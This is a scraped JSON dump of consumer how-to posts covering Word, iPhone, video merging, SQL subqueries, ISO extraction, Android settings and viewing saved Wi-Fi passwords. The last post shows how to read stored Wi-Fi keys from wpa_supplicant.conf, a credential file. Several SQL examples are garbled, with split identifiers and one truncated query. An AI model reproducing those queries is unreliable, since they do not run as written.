remove extra spaces -\u0026gt; press Ctrl + H or go to Home tab -\u0026gt; Editing -\u0026gt; Replace:\n  A dialog box appears, click More to display the full version:\n  The full version shows the Special move option at the bottom of the White Space selection dialog box :\n  After selecting White Space, click Replace All to remove all extra spaces that retain only a space between words regardless of the number of spaces between words:\nThe dialog box to clear the total number of extra spaces -\u0026gt; click Yes:    After selecting Yes , notice the result of deleting the total of extra space -\u0026gt; click OK:\n  As a result, you have removed extra spaces regardless of words with an equal number of spaces. Here is the fastest way to standardize your text:\n  Above TipsMake share to you how to remove extra spaces and spaces in Word. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyer62qkWLAsa3CnqpmmZ6ZerS8wJycrGWZo3q4u9Gd\n","link":"/post/how-to-remove-extra-spaces-and-spaces-in-word/","section":"post","tags":null,"title":"How to remove extra spaces and spaces in Word"},{"body":"You have a calendar to send important messages to someone but accidentally forgot. If so, you can use Siri Shortcuts application to schedule sending messages to someone on iPhone. This application will install the Send Delayed Text shortcut to select the person to send the message, the time to send the message to automatically send when the time is set. Especially this shortcut also allows sending messages to multiple people at the same time on iPhone. The following article will guide you how to schedule sending messages on iPhone.\nHow to schedule, schedule sending WhatsApp messages on Android with SKEDit How to schedule sending messages, email, posting Facebook, Twitter for Android phones How to schedule sending messages on iPhone with Scheduled Instructions for sending messages on iPhone Step 1:\nUsers click on the link below to access the shortcut Send Delayed Text. Click the Shortcut button below and then agree to open in Siri Shortcuts application.\n https://www.icloud.com/shortcuts/22c97cc4378245e2ba23cedea9e2e4f6     Step 2:\nOpening the Siri Shortcuts application interface will see the shortcut Send Delayed Text installed. Click the 3 dots icon to set the shortcut. At the setup interface, activate the Select multiple items option to send messages to multiple contacts.\n   Step 3:\nNext click on the triangle icon to run the shortcut. Then the user will be asked if he wants to run this shortcut, press Run shortcut.\n   \nStep 4:\nThis will display the contacts interface so that users click to select who wants to send the message with the same content. Press the Done button to continue. Then display the interface to enter the content of the message you want to send, click OK.\n   Step 5:\nPress the next time to schedule a message to be sent to multiple people at the same time. Finally press the Done button to finish. Send Delayed Text will automatically send the message according to the pre-set time interval. Users can hide Siri Shortcuts in background mode to use other applications. As a result of the appointment, we will see the message sent.\n    So with Siri Shortcuts application, you will not miss important messages because the application will automatically send messages to selected contacts. Users need to activate multiple numbers mode to select multiple contacts to send messages at the same time.\nSee more:\nHow to create a quick reply to a call on iPhone How to send iMessage messages for free on iPhone, iPad How to send SMS from computer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquTnbKlwcueZKydnpm2r7OMppysq5GcsrR5zqdkoqiYpLum\n","link":"/post/how-to-schedule-sending-messages-on-iphone/","section":"post","tags":null,"title":"How to schedule sending messages on iPhone"},{"body":" Any DVD Converter has a variety of features, one of which is merging multiple video files into one continuous video, regardless of file types. This can be incredibly useful if you want to make a video of home movie clips, or want to create...\nMethod 1of 2:\nUsing Any DVD Converter  Download the video clips you want to join. If you are trying to merge multiple YouTube clips together, you'll need to download them to your computer first. Visit keepvid.com and enter the addresses for each of the videos you want to download. Select the highest quality MP4 format video from the download options to download the file to your computer.\n  Install Any DVD Converter. You can download the free version of Any DVD Converter from anvsoft.com. You can also use the free version of Any Video Converter from the same company, and the process will be exactly the same. If downloaded from anvsoft.com, the installer should be malware-free. Still, it is recommended to carefully read each screen of the installation wizard. Make sure that you uncheck any boxes that want to install extra software, or decline any extra offers. The free version is limited to a 3 minute output file. If you need to make a longer video file and don't want to pay for Any DVD Converter, click here for instructions on using the free Avidemux.   Start Any DVD Converter. Start your trial if prompted when using the free version. You'll be taken to the Convert Video tab of the program.\n  Add the video files that you want to merge. You can drag and drop files into the main frame, or you can click the \"Add Video(s)\" button and browse for video files on your computer. It may take a few moments to add large files. You can add files with different file formats to the same project. Any DVD Converter supports virtually all video formats.   Click and drag videos to reorder them. The combined file will be in the order that the videos are listed in, starting with the top of the list.\n  Adjust the length of the clips you want to use. Click the Scissors button next to the clip you want to edit. A new window will open, allowing you to skip to the exact spot you want. Set a new start point for the clip by clicking the \"[\" button, and the \"]\" button to set an end point. The new segment will appear beneath the original video file. Note that Any DVD Converter can run into problems when trying to join trimmed clips. For best results, output the trimmed files first into new video files, and then add the new output to your project. FLV files can be difficult to trim, as Flash video uses a different frame system. For best results, convert the FLV video to MP4 first and then trim it.   Select all of the video clips. Once you're satisfied with the order and the length of the clips, select all of the files in the list. You can do this by holding Ctrl/⌘ Cmd and click each one, or you can press Ctrl/⌘ Cmd+A.\n  Right-click on the selected clips and select \"Merge all files\". The videos will be merged together, with subsequent videos indented beneath the first clip. Select the first video in the list before proceeding.\n  Select your output format. Click the Output Profile drop-down menu at the top of the window. Select the device that you are planning on playing the video on. If you're going to play the video on a computer, or want it to be compatible with the most devices, select \"Customized MP4 Movie (*.mp4)\".\n  Set your output folder. Click the folder icon in the Output Folder line in the right sidebar. Make sure \"Basic Settings\" is selected to see the Output Folder button. Select a folder that you can easily access and find your merged video file. Click the \"File Name\" line to set the file name of the merged video clip.   Adjust your output settings. The wrong settings could lead to a bad file or could cause Any DVD Converter to crash. Adjust your settings before you start the merging process. Click the Gear button at the top of the window. Click the \"Video\" tab and uncheck all of the boxes in the \"Video Resize\" section.   Start the converting and merging process. Right-click on the top file in the list and select \"Start Converting\". Any DVD Converter will begin merging the clips into a file in the location and format you specified.[1] Depending on the length and size of the videos, the conversion may take a while to complete.   Merge small batches at a time to prevent crashes. Any DVD Converter can get overloaded with too many clips. If you're having problems merging many different clips together, it's recommended that you do them in small batches and then join the batches together. For example, if you have 15 clips to join, join five clips together at a time. This will leave you with three output videos. You can then load these three output videos into Any DVD Converter and join them as normal.  Method 2of 2:\nUsing Avidemux  Download and install Avidemux. Avidemux is a free, open source video editing program, and you can use it to merge clips of any length into a single video file. You can download Avidemux from fixounet.free.fr/avidemux/.\n  Open your first video clip in Avidemux. Launch Avidemux and click \"File\" → \"Open\". Browse for the first video clip you want to use.\n  Append the second video clip. Click \"File\" → \"Append\" and select the second video file. After you select it, it will be added to the end of the first video clip. In order to use this method, the files will need to have the same dimensions and the same format. You can use Avidemux to convert the individual videos to a common format and size before merging them.   Repeat for additional clips. You can keep using the \"Append\" command to add more clips to the end of the video file. You can't easily adjust the order later, so make sure you add them in the order you want.\n  Save the new file. Click \"File\" → \"Save\" and save your new video file. It will be saved in the format of the original video. The encoding process may take a few minutes to complete.[2]\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiuthmm6%2BcXZi8r8LEq6ueql2pvG65xKuenmWmnrGmu4yfoKWdo5i5qrzS\n","link":"/post/how-to-use-any-dvd-converter-to-merge-video-files-clips/","section":"post","tags":null,"title":"How to Use Any DVD Converter to Merge Video Files/Clips"},{"body":"The following article will show you how to use sub-queries in SQL Server along with syntax and examples.\nWhat is subquery in SQL (subquery)? In SQL Server, a subquery is a query that resides in another query. You can create queries in SQL commands. These subqueries are in the WHERE, FROM or SELECT clause.\nNote:\nSubqueries are also called INNER QUERY or INNER SELECT. The main query that contains a subquery is called OUTER QUERY or OUTER SELECT. WHERE clause\nUsually the subquery is in the WHERE clause. These subqueries are called nested queries or subqueries.\n SELECT s.sanph am_id, s.sanpham_ten FROM sanpham s WHERE s.sanpham_id IN  (SELECT htk.sanpham_id  FROM hangtonkho htk  WHERE htk.soluong \u0026gt; 10);  This is the sub-query segment in the SELECT statement above:\n (SELECT htk.sanp ham_id FROM hangtonkho htk WHERE htk.soluong \u0026gt; 10);  The subquery allows to find sanpham_id values ​​from the hangtonkho table with a number greater than 10. Then the subquery is used to filter the result from the main query using the IN condition.\nSubqueries can be written as INNER JOIN as shown below.\n SELECT s.sanpham_id, s. sanpham_ten FROM sanpham s INNER JOIN hangtonkho htk ON s.sanpham_id = htk.sanpham_id WHERE htk.soluong \u0026gt; 10;  The INNER JOIN will return more efficiently than the original subquery. It is also important to note that no queries are rewritten by JOIN.\nThe FROM clause\n SELECT nhacu ng.nhacung_ten, truyvancon1.tong_sl FROM nhacung,  (SELECT nhacung_id, SUM(donhang.soluong) AS tong_sl  FROM donhang  GROUP BY nhacung_id) truyvancon1 WHERE truyvanco n1.nhacung_id = nhacung.nhacung_id;  In this example we have created the subquery in the FROM clause as follows:\n (SELECT nhacung _id, SUM(donhang.soluong) AS tong_sl FROM donhang GROUP BY nhacung _id) truyvancon1  This subquery is also associated with the alias truyvancon1. This will be the name used to refer to this subquery or any of its information fields.\nSELECT clause\nUsually the subquery is set in the SELECT clause to calculate by the sum functions such as SUM, COUNT, MIN or MAX but do not want to count in the main query.\n SELECT n1.ho, n1 .ten,  (SELECT MAX(luong)  FROM nhanvien n2  WHERE n1.nhanvien_id = n2.nhanvien_id) truyvancon2 FROM nhanvien n1 ;  Below is the subquery created in the above example\n (SELECT MAX ong) FROM nhanvien n2 WHERE n1.nhanvie n_id = n2.nhanvien_id) truyvancon2  This subquery is also associated with the alias truyvancon2. This will be the name used to refer to this subquery or any of its information fields.\nThe trick of placing subqueries in the SELECT clause is used because the subquery returns a single value. That's why the sum functions such as SUM, COUNT, MIN or MAX are often used in subqueries.\nPrevious article: EXCEPT Operator in SQL Server\nThe following article: PIVOT clause in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kvrax0bJkrK2SpsKmvthmmqGhnJl6qrqMrKilZaOav7ex0Q%3D%3D\n","link":"/post/query-subquery-child-in-sql-server/","section":"post","tags":null,"title":"Query SUBQUERY child in SQL Server"},{"body":"Summary of commands in MSWLogo, In this article, let's learn the commands included in MSWLogo, making programming with this software faster.\nMSWLogo is an interpreted programming language, based on the Logo computer language platform, with a graphical user interface (GUI). It is free and open source programming software, with source code available in Borland C++.\n  MSWLogo supports many turtle graphics, 3D computer graphics and allows input from COM and LPT ports. It also supports a windowing interface, so input/output (I/O) is available through this GUI and keyboard and mouse events can trigger interrupts.\nIn this article, let's learn the commands included in MSWLogo, making programming with this software faster.\nCommands included in MSWLogo  Command Abbreviation Syntax Output For example  FORWARD fd FORWARD  Move the turtle forward with the specified number of times forward 100 or fd 100  BACK bk BACK  Move the turtle backwards with the specified number of times back 100 or bk 100  RIGHT rt RIGHT  Rotate the turtle to the right by the specified number of degrees right 228 or rt 228  LEFT lt LEFT  Rotate the turtle left by the specified number of degrees left 228 or lt 228  HOME home Home Go to the center of the screen but do not clear the screen home  CLEAN ct cs Clean Clear the screen of the trail but keep the turtle position clean  CLEARSCREEN CS Clearscreen Clear the screen of the trail and go to the center of the screen cs  HIDETURTLE HT Hide turtle Hide the turtle and support to see the drawing clearly on the screen ht  SHOWTURTLE ST Show turtle Show the turtle after it is hidden from the screen st  PENUP PU (set) Pen up Set the turtle to move without drawing pu  PENDOWN PD (resets) Pen Reset brush when prompted to move pd  CLEARTEXT CT Clear text Clear all text in command screen ct  CIRCLE \u0026nbsp; Circle Create a loop that repeats 360 [FD (desired length in pixels divided by 360) RT or LT 1] circle   Pattern pay Pattern Create a pattern pattern   Commands to create some basic 2D drawings    Picture Command   Square Repeat 4 [fd 200 rt 90]  Rectangular Fd 300 rt 90 fd 150 rt 90 Fd 300 rt 90 fd 150 rt 90   Circle Repeat 360 [fd 3 rt 1]   Triangle Repeat 3 [fd 300 rt 120]   The Pentagon Repeat 5 [fd 200 rt 72]   Hexagon Repeat 6 [fd 200 rt 60   Octagon Repeat 8 [fd 150 rt 45]   hexagon shape Repeat 9 [fd 150 rt 40]   Hexagon Repeat 10 [fd 100 rt 36]   ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qku8ymmKeco2K2r3nMrK6lp5ek\n","link":"/post/summary-of-commands-in-mswlogo/","section":"post","tags":null,"title":"Summary of commands in MSWLogo"},{"body":"If you love taking photos, make sure you are no stranger to the Raw image format. This format is tending to be widely used because of its benefits.\nIn raw format, image quality will be improved. You can also modify the parameters of the image. When an Android device stores RAW images, it will store an additional copy of the image. Here are the best raw photography apps for Android.\n1. Adobe Photoshop Lightroom CC\n  Adobe Photoshop Lightroom is one of the most popular and best applications for RAW photography . It also has an image processing function, which can even produce the same results when using a desktop computer. Split-Toning feature - splitting colors of Adobe Photoshop Lightroom helps you get the best photos.\nYou can also edit the tone curve of the image like the pro version on the computer. With the free version on Android you can use features related to organizing, capturing and sharing photos.\nAnd with the upgrade, you can edit photos on Android, have a portfolio (capacity profile), can make selective adjustments, tag photos, import images from USB drives, and enjoy collections Photo set and geometric slide tool.\n2. Footej Camera\n  Footej Camera is another choice for raw photography on Android . It has a simple interface but many features. You can perform various camera adjustments such as changing the shutter speed, ISO setting, focus, white balance, focal length and exposure.\nThe application allows to use the camera2 API of Android (if the device supports it), burst mode, selfie light, panorama mode (if supported devices), and take photos while recording videos.\nIf you upgrade to the Premium version, you will get better quality JPEG images, videos longer than 5 minutes, GIF images with high resolution, antibanding at 50Hz.\n3. FV-5 Lite Camera\n  If you like using cameras like DSLRs, you'll love the FV-5 Lite Camera. The application allows you to change focus, ISO, white balance, exposure compensation, and shutter speed. In addition, you can use Program mode to take photos at a specific ISO index. Speed ​​Priority mode allows for fast shooting with the fastest shutter speed.\nThe feature list of the application includes automatic shooting, continuous shooting, manual, Exposure Bracketing and histogram. In app settings, you can make changes to image resolution, change storage location, open files from custom storage folders, use geotags, maximize screen brightness and select the grid composition you want to use.\nIn addition to the above three applications, you can also take raw photos with Open Camera and VSCO.\nSee more:\nHow to take RAW photos on iPhone How to view raw images on Windows 10 Photoshop Online ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdp664ec%2Bhpq2nl6eusbTYZpipqF2bvLN5wKebq6eZmQ%3D%3D\n","link":"/post/the-best-raw-photography-app-for-android/","section":"post","tags":null,"title":"The best Raw photography app for Android"},{"body":"ISO files are a popular file format, especially for large files such as Windows, office installers, or heavy game installation files. The ISO file decompression is quite simple, if you do not know how to extract the ISO file, please follow the instructions of TipsMake.com.\n  1. Extract the ISO file with Winrar Winrar is a very popular file compression and decompression software that almost everyone installs on their computer. And of course we can completely extract the ISO file with Winrar similar to when extracting other files like Zip, rar .\nIf your computer has not installed Winrar software, you can download it here:\nhttps://www.rarlab.com/download.htm\nTo extract the ISO file with Winrar, simply right-click on the ISO file and select Extract Here\n  After extracting, you can view the files and folders inside the ISO file:\n  2. Extract the ISO file with PowerISO software PowerISO is specialized software to compress and decompress ISO files, besides its main function is to print ISO files to CD or DVD.\nYou can download PowerISO software here:\nhttp://www.poweriso.com/download.php\nNote during the installation process you should uncheck the options to not be installed with other software:\n  To extract the ISO file with PowerISO, right-click the ISO file and then select PowerISO -\u0026gt; Extract here\n  Then wait for the extraction process to complete:\n  And so our ISO file has been extracted.\n  3. Unzip by Mounting ISO file to virtual drive on Windows 10 If you use Windows 10, instead of using decompression software, we can Mount the ISO file to a virtual drive simply and much faster than extracting. How to do the following:\nRight-click on the ISO file and then select Mount .\n  Immediately the content in the ISO file will be opened extremely fast:\n  Open ThisPC folder, you will see a new drive, this is the virtual drive containing the ISO file content that we have Mount in the previous step:\n  To exit this virtual drive, simply right-click on the drive and select Eject .\n  Above TipsMake.com introduced to you 3 simple ways to extract the ISO file, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kgG6%2FyKanpZ1drK66edOoZJ6wpKeupMCMoqqoZZaeuaY%3D\n","link":"/post/3-simple-way-to-extract-iso-file/","section":"post","tags":null,"title":"3 Simple way to extract ISO file"},{"body":"Apple has equipped macOS and iOS users with a free password manager - iCloud Keychain, but this app is not comparable to the third-party password managers. Diverse functions like LastPass and 1Password.\nThis will soon change, as it is reported that the company is planning to bring some of the best features of the aforementioned applications into its applications. Specifically, the 9to5Mac site snapped an initial build of the iOS 14 update and discovered that Apple is testing new security features for iCloud Keychain, including: warning users about the security. Reusable code, built-in 2-step authentication to allow users to log in to websites without having to use a second passcode sent to SMS or email - which is less secure than using the function built-in a password manager or a third-party authentication application.\n However, Apple users will probably want to continue using paid crypto managers for a while longer. Using a third-party password manager will provide a more seamless experience, because you can use them on any device - for example, on Apple's phones through Keychain's autofill function, on Chrome via an extension, on the desktop . For those who want to access their passwords on any device easily, maybe iCloud Keychain is still not a good solution.\nBut nonetheless, Apple's ability to bring some of these unique features to their existing password manager could help iOS users to practice using passwords better by using unique passwords for their each account, as well as make the two-step authentication function a bit more seamless on the support websites - especially useful for users who use two-step authentication via SMS which can still be stolen via SMS hijack.\nA series of new features for iCloud Keychain will likely be released with iOS 14 this fall. So you can safely use the existing password management process!\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55koqtdmbK3scuop6Kml2KubrLEmquuqpViwKq5yKWYq2WkpHpyvMCsqrCnopl6p7vRZqKesZOdrqq6jKKlZqGfqHpygA%3D%3D\n","link":"/post/apple-is-developing-a-feature-similar-to-1password-for-keychain-in-ios-14/","section":"post","tags":null,"title":"Apple is developing a feature similar to 1Password for Keychain in iOS 14"},{"body":"Knowing the internet service provider is using is very beneficial for users in using the service and know the benefits that the network is dedicated to the package you are using. Or in case you feel that your network speed is slower than normal, you need to check your current Internet package to find out why your Internet connection is affected, if you have a problem of eating out. capacity or not? And below, Network Administrator will guide you how to check internet network packages VNPT, FPT, Viettel are using.\nHow to know who is \"using the temple\" Wifi your home or not? Check if network bandwidth is squeezed or cut Internet speed test applications for smartphones 1. Check the Internet Internet package FPT is using There are many ways to check the Internet package FPT is using, but these are two simple ways to get the fastest and most accurate results:\nMethod 1: Check the FPT package by visiting the member page\nWhen the user registers to install the FPT package, the service side will send you account information to log in to the member page. Here, all information such as the package you are using, the speed of the connection, the time to pay the monthly service fee, . will be displayed.\nSpecifically, to access FPT's website, you should visit memberfpt.fpt.vn. After that, proceed to log in the usernamge / pass provided earlier. This way you will check the Internet package you are using in FPT network easily and quickly.\n  Method 2: Check the FPT package by accessing your Modem system\nAnother way to help you check the Internet charges you are using for the FPT network is to access the Modem system, this way you do the following:\nAccess to address http://192.168.1.1. Login with information with admin username, password: admin. Select Data rate to check the package you are using. 2. Check that VNPT Internet network package is in use For those who use VNPT, you also have 2 ways to check the Internet package you are using as follows:\nMethod 1:\nCheck the package, price through the account delivery form or the contract signed with VNPT network operator.\nMethod 2:\nCall to Customer Care Center of VNPT network: (Province code) + 119 to be supported to check information about Internet packages you are using.\n  3. Check the Internet network package Viettel is using To know which package you are using Viettel Internet network, which package is you using, you can do the following:\nMethod 1:\nSee the package, price printed on the acceptance report or the contract signed with Viettel network earlier.\nMethod 2:\nYou can check Internet package by contacting directly via Customer Service Center of Viettel network: 18008198, choose branch No. 3 to get support on fastest service procedures.\nNote:\nIn addition to the ways of checking Internet packages for each FPT, VNPT and Viettel operators, as mentioned above, we also have a general test for all these operators by using SpeedTest . This network testing tool is completely free and gives quite accurate results about Internet package information as well as the network speed that the network provider is committed to true speed or not. You can refer to the tutorial on Internet speed test FPT, VNPT, Viettel without software to know how to implement details.\nThus, regularly checking Internet packages of FPT, VNPT, Viettel using these ways will make it easier for you to monitor Internet connection speed, and if you encounter any problems, please contact immediately with the network operators to ensure that the line is always stable, without affecting your work or leisure time.\nSee more:\nWill network operators make money from WiFi? How to check the phone is not deducted by the network? How to check if 4G current position is available? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecinq56qnprBbrzAnKKan5Viu6bA1qippGWWpcFuws2pq2aumZrBtbHLZpirnV2qwKq6xg%3D%3D\n","link":"/post/how-to-check-internet-package-network-fpt-vnpt-viettel-are-using/","section":"post","tags":null,"title":"How to check Internet package network FPT, VNPT, Viettel are using"},{"body":"After 3 years of warning, Adobe Flash empire has officially closed. Adobe recommends that users remove Flash from their computer immediately. Adobe officially stopped supporting Flash on January 1, 2021 and within two weeks, the company will block all Flash content so that they cannot function Flash Player.\nThe reason to remove Flash on the machine is explained by Adobe is to help secure the system because Adobe no longer intends to release any future Flash Player updates or security patches. So removing Flash Player is very necessary, to avoid problems related to the security of the machine.\nHere's how to completely remove Adobe Flash on a Mac.\nDeauthorize Flash on your Mac computer:\nIf you care about privacy, first go to System Preferences\u0026gt; Flash Player (at the bottom). In the upper right corner, select the Advanced tab . Select Deauthorize This Computer… Completely uninstall Adobe Flash\nOpen a Finder window and then select Applications. Open Utilities or search for Adobe Flash Player Install Manager . Open Adobe Flash Player Install Manager , select Uninstall . You will receive a confirmation message when the application is successfully removed.   You can use a third-party cleaning app like Clean My Mac or Sensei to search and remove any Flash files. However, just remove Adobe Flash officially and all files will be deleted.\n  Finally, Safari will run with the following line of messages Adobe sent you:\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2tsdOeo7Jlopq6sMLEZpidp5Kaeqe4wKyfZqeeYq5uucCc\n","link":"/post/how-to-completely-remove-adobe-flash-on-a-mac/","section":"post","tags":null,"title":"How to completely remove Adobe Flash on a Mac"},{"body":"For PowerPoint presentations to be more beautiful and artistic, most users create PowerPoint wallpapers or can customize backgrounds such as blurring PowerPoint backgrounds. In addition, we can also add slide frames, borders to PowerPoint slides.\nWe can also add borders to Word to make the document look more eye-catching, especially when you make the cover page of the document, the best document, etc. However, the creation feature is not available on PowerPoint. Border like on Word. The following article will guide you how to add borders to PowerPoint slides.\n50 alternative slideshow applications for PowerPoint How to reopen Word, Excel or PowerPoint files when closed but not saved yet? How to insert text into images in PowerPoint How to add a slide frame on PowerPoint Step 1:\nIn the PowerPoint slide show interface, click on the Insert tab .\n  Step 2:\nThen select Shapes and then click on the rectangular border frame in the Retangles section .\n  Step 3:\nNext click on a point on the corner of the slide and drag the frame bar you want to create.\n  After dragging the border frame, you will see the blue border frame and cover the entire text on the slide. Right-click on the slide and select the paint bucket icon, then click on No Fill .\n  So the blue background disappears, but only creates the border for PowerPoint slides.\n  Step 4:\nIn case you want to change the frame for slides in different formats, right-click on the frame and choose Format Shape .\n  Step 5:\nIn the Format Shape dialog box, select Line Color\u0026gt; Solid line and click Color to select the color for the Powerpoint border. You can change the thickness for the border when adjusting the horizontal bar in Transparency.\n  PowerPoint slide borders will be added as shown below.\n  Step 6:\nAlso at Format Shape interface select Shadow to create the shadow and adjust the shadow level at the Transparency horizontal bar.\n  Finally we add the background image to the slide show. To delete PowerPoint slide frames, users just need to click on the border frame and press the Delete key to delete the border frame.\n  With the above article, users already know how to add borders to slides on PowerPoint, before and after adding PowerPoint PowerPoint backgrounds. Presentations will become more attractive when you create borders for each slide, then you can create more borders or shadows for the border color.\nVideo tutorial to create a border for PowerPoint slides I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYypprCdoqW8qrrTZqqloZSaeqe%2BwKacrA%3D%3D\n","link":"/post/how-to-create-powerpoint-slide-frames/","section":"post","tags":null,"title":"How to create PowerPoint slide frames"},{"body":"No matter what you do, you receive lots of messages every day. These messages may come from Messenger, Instagram, Skype or many other messaging applications.\nSometimes you want the message to appear first in the notification area. In Android 11, there's a useful new tool called 'Conversation Notifications' that makes it easy to see all message notifications and then to other sections.\nConversation Notifications is one of the best features on Android 11 and the following article will guide you to use it.\nLayout of Conversation Notifications Conversation Notifications are like the interface of the other notifications you receive on your phone, but they will clearly show and prioritize the messages first.\nLayout of Conversation Notifications In other words, even if you receive a lot of emails or notifications from other applications, they are still below the unread messages.\nThis feature is not much different from the notification on Android 10, but if used daily to know its great difference.\nHow to change priority notifications You can use Conversation Notifications as default and still use as usual, but if you want to use everything most conveniently, change the priority for displaying notifications. Notifications from the messaging app will always be first by default, which means they will have a tone and the phone will vibrate whenever new messages arrive. You can set them in silent mode without affecting the order of notifications.\nChange notification priority Everything became very interesting when using this priority function. If you prefer a messaging app, notifications from this app always appear first in the Conversation, even when the Do Not Disturb mode is turned on, it also shows the avatar of the sender of the message. instead of just the app icon.\nIf you want to turn on the priority feature yourself, follow these steps:\nSwipe on Conversation Notifications until you see the icon. Click on that icon. Select Priority . Select Got it after understanding how the Priority feature works . Select Apply . There will be a border around the application icon you have selected in the priority notification, ensuring that you always remember its presence more specifically than other applications. Because the avatar of the sender of the message will be used instead of the application's icon, they also appear in the status bar and lock screen.\nContour around application icon Install Conversation Notifications To install Conversation Notifications, just go to the settings on your phone, all the adjustments of this feature are here.\nOpen the application installed on the machine. Select Apps \u0026amp; notications. Select Notifications . Select Conversations . Select the item you want to adjust. Select Advanced to see more adjustments. Here, you can change the priority as mentioned above, choose whether you want this conversation to be in the chat bubble, or delete from Conversation Notifications. You will see more options in the Advanced section such as sound, how to appear on the main screen or the lock screen.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuwMeeZKano6l6sLKMnKanrpWnwKLAyKilZqafqbantcKaq6Knnqh6sLqMmqWdqp%2BesW59kA%3D%3D\n","link":"/post/how-to-make-the-most-of-conversation-notifications-on-android-11/","section":"post","tags":null,"title":"How to make the most of Conversation Notifications on Android 11"},{"body":"Windows allows setting individual DPI ratios in multi-monitor settings One of Windows' bigger drawbacks is its DPI ratio. Depending on your resolution and screen size, you must set an appropriate DPI ratio for Windows to use. DPI scaling can be a bigger issue in multi-monitor setups. After all, thanks to the current need to work from home around the globe, setting up multiple monitors has become quite common. One of the most common combinations is a laptop connected to an external display.\nNormally, Windows does a pretty good job at detecting screen size and resolution, as well as setting the appropriate DPI ratio. Automatic DPI scaling is also applicable for multi-monitor setups. This is true even if monitors have different resolutions and sizes.\nIf the auto scale is not working as expected, you can manually set the DPI ratio for each monitor in a multi-monitor setup. Thankfully, Windows 10 has made it easy to set different DPI ratios for monitors in a multi-monitor setup. Here's how you can do it.\nSteps to set individual DPI ratio in a multi-monitor setup To change the DPI scaling for multiple monitors, follow the steps listed below.\nStep\u0026nbsp;1. First, open the Settings app on Windows 10. You can do it by pressing the Win + I shortcut . If needed, you can also search for \"Settings\" in the Start menu .\nStep\u0026nbsp;2. In the Settings app , go to the \"System\" page . On the System page , click the \"Display\" tab on the sidebar. As the name of this option suggests, this is where you will find all the settings related to your monitor.\nStep\u0026nbsp;3. On the Display page , select the display for which you want to change the DPI scaling. Generally, \"monitor 1\" will be the main screen. In my case, I want to change the DPI scale on the second monitor. So screen number 2 was chosen.\n  Step\u0026nbsp;4. After selecting your monitor, scroll down and select the recommended DPI ratio from the \"Change the size of text, app, and other items\" drop-down menu . If needed, you can experiment with other DPI settings to see what works for you.\n  Choose recommended DPI ratio from the drop-down menu \"Change the size of text, app, and other items\"\nStep 5. To confirm the changes, Windows may display a confirmation window. Click the \"Keep changes\" button to confirm the new DPI scale setting.\nFrom now on, the display will have a new DPI ratio. If you have more monitors to set up, follow the same steps to set the DPI ratio for each monitor. Some opened applications may not recognize DPI changes. In those cases, please close and reopen the app.\nScreen Identification If you are unable to determine which screen corresponds to the numbers below, you can ask Windows to identify them. On the Display page , click the \"Identify\" button . As soon as you click this button, Windows will display the large numbers as an overlay on the screen. These numbers correspond to the number of screens on the Display page .\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXqiuoyipZ2hpp6xtq3LZpupoV2nrrW1zmagp2WRYrq2uNOipKimmam8s3nSnquuqA%3D%3D\n","link":"/post/how-to-set-an-individual-dpi-ratio-in-a-multi-monitor-setup/","section":"post","tags":null,"title":"How to set an individual DPI ratio in a multi-monitor setup"},{"body":"On devices running Android 10, can users easily see saved Wifi passwords? What about on older Android devices? How to view saved Wifi passwords?\n1. How to see the most popular saved wifi passwords on Android phones Using ES File Explorer (no Root required) - Applies to all Android versions Users using devices running older Android versions can use ES File Explorer to view saved Wifi passwords. The application is designed to provide users with access to file system, as well as the ability to backup and restore data, deleted files.\nImportant Note: This method does not require root access and may not work on some devices.\nFirst open the ES File Explorer app that you installed on your Android device.\nTip: If ES File Explorer is not installed, you can access here to download the application and install it.\n=\u0026gt; Link download ES File Explorer for Android here\nIn the left pane, scroll down to find and select the option Local storage =\u0026gt; select Device from the menu.\nNext navigate to the path System =\u0026gt; etc =\u0026gt; WiFi, find and open the file wpa_supplicant.conf.\n  If asked to choose how to open the selected configuration file, choose the built-in HTML or text file reader. Once you have opened the file, here you can see all the passwords for the Wi-Fi networks connected to your Android device.\n2. How to view saved Wifi passwords on Android 10 If you are using Samsung, Xiaomi, Vsmart phones running Android 10, you can easily view the Wifi password saved on the device without rooting or needing the \"salvation\" of third-party applications. .\nFollow the steps below:\nStep 1: Open the Settings app.\nStep 2: Next, click on Network \u0026amp; Internet.\nStep 3: Click on Wifi.\nStep 4: Click on the name of the Wifi you are connecting to.\nStep 5: At this point, the Network Details window will appear on the screen.\nStep 6: Find and click the Share button.\nStep 7: Authenticate by fingerprint or using PIN.\nStep 8: Now you can see the Wifi password located below the QR code.\n  3. How to view saved Wifi passwords on Android 9.0 and earlier Method 1: View the Wifi password saved on the rooted Android device\nThis way requires device root access. Follow the steps below to view the Wifi passwords saved on your rooted Android device:\nFirst open the ES File Explorer application that you have installed on your root device and navigate to the Root folder.\nNext access data =\u0026gt; misc =\u0026gt; WiFi. Inside the Wifi folder, find and open the file called wpa_supplicant.conf.\nHere navigate to the Network section and use the SSID of the Wifi network to find the corresponding password in the psk section.\n  4. How to view saved Wifi passwords using 3rd party apps If you don't want to dig into system files, you can consider using specialized third-party apps to view saved WiFi passwords.\nThe 3rd party application that TipsMake wants to recommend to you in this article is called WiFi Passwords Recovery.\nDownload WiFi Passwords Recovery to your device and install it. To download WiFi Passwords Recovery to your device, you can access it here.\n=\u0026gt; Link to download WiFi Passwords Recovery here\nThe next step opens the app and gives it access to work properly. WiFi Passwords Recovery will list all the Wifi you have connected on the device along with the security protocols.\n  The rest, just click on the Wifi name and the app will display the Wifi password on the screen. In addition, if you want you can also copy and share the Wifi password right on the app.\n5. Use the ADB tool to view the Wifi passwords saved on Android Different from the above methods, this method requires a computer or laptop and a USB cable is required to connect the Android phone to the computer.\nStep 1: Set up ADB tool and connect Android 